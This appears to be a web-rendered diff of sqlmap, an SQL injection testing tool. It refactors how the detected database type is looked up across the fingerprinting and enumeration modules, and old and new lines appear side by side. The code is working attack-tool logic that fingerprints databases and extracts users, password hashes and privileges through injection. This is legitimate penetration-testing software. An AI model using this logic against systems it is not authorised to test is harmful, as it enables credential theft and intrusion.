result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
retVal = "dialect 3" if result else "dialect 1" retVal = "dialect 3" if result else "dialect 1"
return retVal return retVal
def checkDbms(self): def checkDbms(self):
if (kb.dbms is not None and kb.dbms.lower() in FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES: if (getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES:
setDbms(DBMS.FIREBIRD) setDbms(DBMS.FIREBIRD)
self.getBanner() self.getBanner()

View File

@ -13,6 +13,7 @@ from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.data import conf from lib.core.data import conf
@ -100,7 +101,7 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if (kb.dbms is not None and kb.dbms.lower() in MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES: if (getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES:
setDbms(DBMS.MAXDB) setDbms(DBMS.MAXDB)
self.getBanner() self.getBanner()

View File

@ -9,6 +9,7 @@ See the file 'doc/COPYING' for copying permission
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@ -40,7 +41,7 @@ class Enumeration(GenericEnumeration):
infoMsg += " for database '%s'" % conf.db infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables rootQuery = queries[getIdentifiedDBMS()].tables
if not conf.db: if not conf.db:
if not len(kb.data.cachedDbs): if not len(kb.data.cachedDbs):
@ -110,7 +111,7 @@ class Enumeration(GenericEnumeration):
return kb.data.cachedTables return kb.data.cachedTables
def searchTable(self): def searchTable(self):
rootQuery = queries[kb.dbms].search_table rootQuery = queries[getIdentifiedDBMS()].search_table
foundTbls = {} foundTbls = {}
tblList = conf.tbl.split(",") tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition
@ -194,7 +195,7 @@ class Enumeration(GenericEnumeration):
return foundTbls return foundTbls
def searchColumn(self): def searchColumn(self):
rootQuery = queries[kb.dbms].search_column rootQuery = queries[getIdentifiedDBMS()].search_column
foundCols = {} foundCols = {}
dbs = {} dbs = {}
colList = conf.col.split(",") colList = conf.col.split(",")

View File

@ -11,6 +11,7 @@ from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
@ -72,7 +73,7 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if ((kb.dbms is not None and kb.dbms.lower() in MSSQL_ALIASES) \ if ((getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in MSSQL_ALIASES) \
or conf.dbms in MSSQL_ALIASES) and kb.dbmsVersion and \ or conf.dbms in MSSQL_ALIASES) and kb.dbmsVersion and \
kb.dbmsVersion[0].isdigit(): kb.dbmsVersion[0].isdigit():
setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0])) setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0]))

View File

@ -13,6 +13,7 @@ from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
@ -151,7 +152,7 @@ class Fingerprint(GenericFingerprint):
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
""" """
if ((kb.dbms is not None and kb.dbms.lower() in MYSQL_ALIASES) \ if ((getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in MYSQL_ALIASES) \
or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \ or conf.dbms in MYSQL_ALIASES) and kb.dbmsVersion and \
kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION: kb.dbmsVersion[0] != UNKNOWN_DBMS_VERSION:
kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "") kb.dbmsVersion[0] = kb.dbmsVersion[0].replace(">", "")

View File

@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getRange from lib.core.common import getRange
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@ -29,7 +30,7 @@ class Enumeration(GenericEnumeration):
def getRoles(self, query2=False): def getRoles(self, query2=False):
infoMsg = "fetching database users roles" infoMsg = "fetching database users roles"
rootQuery = queries[kb.dbms].roles rootQuery = queries[getIdentifiedDBMS()].roles
if conf.user == "CU": if conf.user == "CU":
infoMsg += " for current user" infoMsg += " for current user"
@ -178,7 +179,7 @@ class Enumeration(GenericEnumeration):
return [] return []
def searchColumn(self): def searchColumn(self):
rootQuery = queries[kb.dbms].search_column rootQuery = queries[getIdentifiedDBMS()].search_column
foundCols = {} foundCols = {}
dbs = { "USERS": {} } dbs = { "USERS": {} }
colList = conf.col.split(",") colList = conf.col.split(",")

View File

@ -13,6 +13,7 @@ from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -64,7 +65,7 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if (kb.dbms is not None and kb.dbms.lower() in ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES: if (getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES:
setDbms(DBMS.ORACLE) setDbms(DBMS.ORACLE)
self.getBanner() self.getBanner()

View File

@ -13,6 +13,7 @@ from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
@ -73,7 +74,7 @@ class Fingerprint(GenericFingerprint):
* http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2) * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
""" """
if (kb.dbms is not None and kb.dbms.lower() in PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES: if (getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in PGSQL_ALIASES) or conf.dbms in PGSQL_ALIASES:
setDbms(DBMS.PGSQL) setDbms(DBMS.PGSQL)
self.getBanner() self.getBanner()

View File

@ -11,6 +11,7 @@ from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -70,7 +71,7 @@ class Fingerprint(GenericFingerprint):
* http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions
""" """
if (kb.dbms is not None and kb.dbms.lower() in SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES: if (getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in SQLITE_ALIASES) or conf.dbms in SQLITE_ALIASES:
setDbms(DBMS.SQLITE) setDbms(DBMS.SQLITE)
self.getBanner() self.getBanner()

View File

@ -11,6 +11,7 @@ from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@ -63,7 +64,7 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if ((kb.dbms is not None and kb.dbms.lower() in SYBASE_ALIASES) \ if ((getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in SYBASE_ALIASES) \
or conf.dbms in SYBASE_ALIASES) and kb.dbmsVersion and \ or conf.dbms in SYBASE_ALIASES) and kb.dbmsVersion and \
kb.dbmsVersion[0].isdigit(): kb.dbmsVersion[0].isdigit():
setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0])) setDbms("%s %s" % (DBMS.SYBASE, kb.dbmsVersion[0]))

View File

@ -17,6 +17,7 @@ from lib.core.common import getRange
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getConsoleWidth from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import isNumPosStrValue from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@ -74,19 +75,19 @@ class Enumeration:
kb.data.cachedColumns = {} kb.data.cachedColumns = {}
kb.data.dumpedTable = {} kb.data.dumpedTable = {}
kb.data.processChar = None kb.data.processChar = None
kb.misc.testedDbms = dbms
def getBanner(self): def getBanner(self):
if not conf.getBanner: if not conf.getBanner:
return return
if kb.data.banner is None: if kb.data.banner is None:
# TODO: is this assignement an ugly hack?
kb.dbmsDetected = True kb.dbmsDetected = True
infoMsg = "fetching banner" infoMsg = "fetching banner"
logger.info(infoMsg) logger.info(infoMsg)
query = queries[kb.dbms].banner.query query = queries[getIdentifiedDBMS()].banner.query
kb.data.banner = inject.getValue(query) kb.data.banner = inject.getValue(query)
bannerParser(kb.data.banner) bannerParser(kb.data.banner)
@ -108,7 +109,7 @@ class Enumeration:
infoMsg = "fetching current user" infoMsg = "fetching current user"
logger.info(infoMsg) logger.info(infoMsg)
query = queries[kb.dbms].current_user.query query = queries[getIdentifiedDBMS()].current_user.query
if not kb.data.currentUser: if not kb.data.currentUser:
kb.data.currentUser = inject.getValue(query) kb.data.currentUser = inject.getValue(query)
@ -119,7 +120,7 @@ class Enumeration:
infoMsg = "fetching current database" infoMsg = "fetching current database"
logger.info(infoMsg) logger.info(infoMsg)
query = queries[kb.dbms].current_db.query query = queries[getIdentifiedDBMS()].current_db.query
if not kb.data.currentDb: if not kb.data.currentDb:
kb.data.currentDb = inject.getValue(query) kb.data.currentDb = inject.getValue(query)
@ -130,11 +131,11 @@ class Enumeration:
infoMsg = "testing if current user is DBA" infoMsg = "testing if current user is DBA"
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
self.getCurrentUser() self.getCurrentUser()
query = queries[kb.dbms].is_dba.query % kb.data.currentUser.split("@")[0] query = queries[getIdentifiedDBMS()].is_dba.query % kb.data.currentUser.split("@")[0]
else: else:
query = queries[kb.dbms].is_dba.query query = queries[getIdentifiedDBMS()].is_dba.query
query = agent.forgeCaseStatement(query) query = agent.forgeCaseStatement(query)
@ -146,10 +147,10 @@ class Enumeration:
infoMsg = "fetching database users" infoMsg = "fetching database users"
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[kb.dbms].users rootQuery = queries[getIdentifiedDBMS()].users
condition = ( kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) ) condition = ( getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ) )
condition |= ( kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema ) condition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema )
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if condition: if condition:
@ -175,14 +176,14 @@ class Enumeration:
errMsg = "unable to retrieve the number of database users" errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException, errMsg
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if kb.dbms in (DBMS.SYBASE, DBMS.MAXDB): if getIdentifiedDBMS() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition: elif condition:
query = rootQuery.blind.query2 % index query = rootQuery.blind.query2 % index
@ -202,7 +203,7 @@ class Enumeration:
def getPasswordHashes(self): def getPasswordHashes(self):
infoMsg = "fetching database users password hashes" infoMsg = "fetching database users password hashes"
rootQuery = queries[kb.dbms].passwords rootQuery = queries[getIdentifiedDBMS()].passwords
if conf.user == "CU": if conf.user == "CU":
infoMsg += " for current user" infoMsg += " for current user"
@ -211,7 +212,7 @@ class Enumeration:
logger.info(infoMsg) logger.info(infoMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery.inband.query2 query = rootQuery.inband.query2
else: else:
query = rootQuery.inband.query query = rootQuery.inband.query
@ -224,7 +225,7 @@ class Enumeration:
query += " WHERE " query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users) query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else: else:
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user) parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser: if parsedUser:
@ -261,7 +262,7 @@ class Enumeration:
retrievedUsers = set() retrievedUsers = set()
for user in users: for user in users:
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser: if parsedUser:
@ -274,7 +275,7 @@ class Enumeration:
infoMsg += "for user '%s'" % user infoMsg += "for user '%s'" % user
logger.info(infoMsg) logger.info(infoMsg)
if kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery.blind.count2 % user query = rootQuery.blind.count2 % user
else: else:
query = rootQuery.blind.count % user query = rootQuery.blind.count % user
@ -291,14 +292,14 @@ class Enumeration:
passwords = [] passwords = []
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if kb.dbms == DBMS.SYBASE: if getIdentifiedDBMS() == DBMS.SYBASE:
if index > 0: if index > 0:
warnMsg = "unable to retrieve other password " warnMsg = "unable to retrieve other password "
warnMsg += "hashes for user '%s'" % user warnMsg += "hashes for user '%s'" % user
@ -307,7 +308,7 @@ class Enumeration:
else: else:
query = rootQuery.blind.query % user query = rootQuery.blind.query % user
getCurrentThreadData().disableStdOut = True getCurrentThreadData().disableStdOut = True
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
if kb.dbmsVersion[0] in ( "2005", "2008" ): if kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery.blind.query2 % (user, index, user) query = rootQuery.blind.query2 % (user, index, user)
else: else:
@ -315,7 +316,7 @@ class Enumeration:
else: else:
query = rootQuery.blind.query % (user, index) query = rootQuery.blind.query % (user, index)
password = inject.getValue(query, inband=False) password = inject.getValue(query, inband=False)
if kb.dbms == DBMS.SYBASE: if getIdentifiedDBMS() == DBMS.SYBASE:
getCurrentThreadData().disableStdOut = False getCurrentThreadData().disableStdOut = False
password = "0x%s" % strToHex(password) password = "0x%s" % strToHex(password)
infoMsg = "retrieved: %s" % password infoMsg = "retrieved: %s" % password
@ -352,31 +353,31 @@ class Enumeration:
def __isAdminFromPrivileges(self, privileges): def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the # In PostgreSQL the usesuper privilege means that the
# user is DBA # user is DBA
dbaCondition = ( kb.dbms == DBMS.PGSQL and "super" in privileges ) dbaCondition = ( getIdentifiedDBMS() == DBMS.PGSQL and "super" in privileges )
# In Oracle the DBA privilege means that the # In Oracle the DBA privilege means that the
# user is DBA # user is DBA
dbaCondition |= ( kb.dbms == DBMS.ORACLE and "DBA" in privileges ) dbaCondition |= ( getIdentifiedDBMS() == DBMS.ORACLE and "DBA" in privileges )
# In MySQL >= 5.0 the SUPER privilege means # In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA # that the user is DBA
dbaCondition |= ( kb.dbms == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges ) dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges )
# In MySQL < 5.0 the super_priv privilege means # In MySQL < 5.0 the super_priv privilege means
# that the user is DBA # that the user is DBA
dbaCondition |= ( kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges ) dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges )
# In Firebird there is no specific privilege that means # In Firebird there is no specific privilege that means
# that the user is DBA # that the user is DBA
# TODO: confirm # TODO: confirm
dbaCondition |= ( kb.dbms == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges ) dbaCondition |= ( getIdentifiedDBMS() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
return dbaCondition return dbaCondition
def getPrivileges(self, query2=False): def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges" infoMsg = "fetching database users privileges"
rootQuery = queries[kb.dbms].privileges rootQuery = queries[getIdentifiedDBMS()].privileges
if conf.user == "CU": if conf.user == "CU":
infoMsg += " for current user" infoMsg += " for current user"
@ -432,10 +433,10 @@ class Enumeration:
} }
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or conf.direct:
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2 query = rootQuery.inband.query2
condition = rootQuery.inband.condition2 condition = rootQuery.inband.condition2
elif kb.dbms == DBMS.ORACLE and query2: elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
query = rootQuery.inband.query2 query = rootQuery.inband.query2
condition = rootQuery.inband.condition2 condition = rootQuery.inband.condition2
else: else:
@ -447,7 +448,7 @@ class Enumeration:
query += " WHERE " query += " WHERE "
# NOTE: I assume that the user provided is not in # NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host' # MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == DBMS.MYSQL and kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%" queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users) query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else: else:
@ -455,7 +456,7 @@ class Enumeration:
values = inject.getValue(query, blind=False, error=False) values = inject.getValue(query, blind=False, error=False)
if not values and kb.dbms == DBMS.ORACLE and not query2: if not values and getIdentifiedDBMS() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS" infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg) logger.info(infoMsg)
@ -477,19 +478,19 @@ class Enumeration:
# In PostgreSQL we get 1 if the privilege is # In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise # True, 0 otherwise
if kb.dbms == DBMS.PGSQL and getUnicode(privilege).isdigit(): if getIdentifiedDBMS() == DBMS.PGSQL and getUnicode(privilege).isdigit():
for position, pgsqlPriv in pgsqlPrivs: for position, pgsqlPriv in pgsqlPrivs:
if count == position and int(privilege) == 1: if count == position and int(privilege) == 1:
privileges.add(pgsqlPriv) privileges.add(pgsqlPriv)
# In MySQL >= 5.0 and Oracle we get the list # In MySQL >= 5.0 and Oracle we get the list
# of privileges as string # of privileges as string
elif kb.dbms == DBMS.ORACLE or ( kb.dbms == DBMS.MYSQL and kb.data.has_information_schema ): elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ):
privileges.add(privilege) privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is # In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise # True, N otherwise
elif kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
for position, mysqlPriv in mysqlPrivs: for position, mysqlPriv in mysqlPrivs:
if count == position and privilege.upper() == "Y": if count == position and privilege.upper() == "Y":
privileges.add(mysqlPriv) privileges.add(mysqlPriv)
@ -506,7 +507,7 @@ class Enumeration:
conditionChar = "=" conditionChar = "="
if conf.user: if conf.user:
if kb.dbms == DBMS.MYSQL and kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
conditionChar = " LIKE " conditionChar = " LIKE "
if "," in conf.user: if "," in conf.user:
@ -533,7 +534,7 @@ class Enumeration:
for user in users: for user in users:
unescapedUser = None unescapedUser = None
if kb.dbms == DBMS.MYSQL and kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False) unescapedUser = unescaper.unescape(user, quote=False)
if user in retrievedUsers: if user in retrievedUsers:
@ -548,18 +549,18 @@ class Enumeration:
else: else:
queryUser = user queryUser = user
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % queryUser query = rootQuery.blind.count2 % queryUser
elif kb.dbms == DBMS.MYSQL and kb.data.has_information_schema: elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, queryUser) query = rootQuery.blind.count % (conditionChar, queryUser)
elif kb.dbms == DBMS.ORACLE and query2: elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
query = rootQuery.blind.count2 % queryUser query = rootQuery.blind.count2 % queryUser
else: else:
query = rootQuery.blind.count % queryUser query = rootQuery.blind.count % queryUser
count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2) count = inject.getValue(query, inband=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count): if not isNumPosStrValue(count):
if not (isinstance(count, basestring) and count.isdigit()) and kb.dbms == DBMS.ORACLE and not query2: if not (isinstance(count, basestring) and count.isdigit()) and getIdentifiedDBMS() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS" infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg) logger.info(infoMsg)
@ -575,20 +576,20 @@ class Enumeration:
privileges = set() privileges = set()
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (queryUser, index) query = rootQuery.blind.query2 % (queryUser, index)
elif kb.dbms == DBMS.MYSQL and kb.data.has_information_schema: elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, queryUser, index) query = rootQuery.blind.query % (conditionChar, queryUser, index)
elif kb.dbms == DBMS.ORACLE and query2: elif getIdentifiedDBMS() == DBMS.ORACLE and query2:
query = rootQuery.blind.query2 % (queryUser, index) query = rootQuery.blind.query2 % (queryUser, index)
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, queryUser) query = rootQuery.blind.query % (index, queryUser)
else: else:
query = rootQuery.blind.query % (queryUser, index) query = rootQuery.blind.query % (queryUser, index)
@ -596,7 +597,7 @@ class Enumeration:
# In PostgreSQL we get 1 if the privilege is True, # In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise # 0 otherwise
if kb.dbms == DBMS.PGSQL and ", " in privilege: if getIdentifiedDBMS() == DBMS.PGSQL and ", " in privilege:
privilege = privilege.replace(", ", ",") privilege = privilege.replace(", ", ",")
privs = privilege.split(",") privs = privilege.split(",")
i = 1 i = 1
@ -611,12 +612,12 @@ class Enumeration:
# In MySQL >= 5.0 and Oracle we get the list # In MySQL >= 5.0 and Oracle we get the list
# of privileges as string # of privileges as string
elif kb.dbms == DBMS.ORACLE or ( kb.dbms == DBMS.MYSQL and kb.data.has_information_schema ): elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ):
privileges.add(privilege) privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is # In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise # True, N otherwise
elif kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
privilege = privilege.replace(", ", ",") privilege = privilege.replace(", ", ",")
privs = privilege.split(",") privs = privilege.split(",")
i = 1 i = 1
@ -630,7 +631,7 @@ class Enumeration:
i += 1 i += 1
# In Firebird we get one letter for each privilege # In Firebird we get one letter for each privilege
elif kb.dbms == DBMS.FIREBIRD: elif getIdentifiedDBMS() == DBMS.FIREBIRD:
privileges.add(firebirdPrivs[privilege.strip()]) privileges.add(firebirdPrivs[privilege.strip()])
if self.__isAdminFromPrivileges(privileges): if self.__isAdminFromPrivileges(privileges):
@ -639,7 +640,7 @@ class Enumeration:
# In MySQL < 5.0 we break the cycle after the first # In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we # time we get the user's privileges otherwise we
# duplicate the same query # duplicate the same query
if kb.dbms == DBMS.MYSQL and not kb.data.has_information_schema: if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema:
break break
if privileges: if privileges:
@ -659,14 +660,14 @@ class Enumeration:
return ( kb.data.cachedUsersPrivileges, areAdmins ) return ( kb.data.cachedUsersPrivileges, areAdmins )
def getRoles(self, query2=False): def getRoles(self, query2=False):
warnMsg = "on %s the concept of roles does not " % kb.dbms warnMsg = "on %s the concept of roles does not " % getIdentifiedDBMS()
warnMsg += "exist. sqlmap will enumerate privileges instead" warnMsg += "exist. sqlmap will enumerate privileges instead"
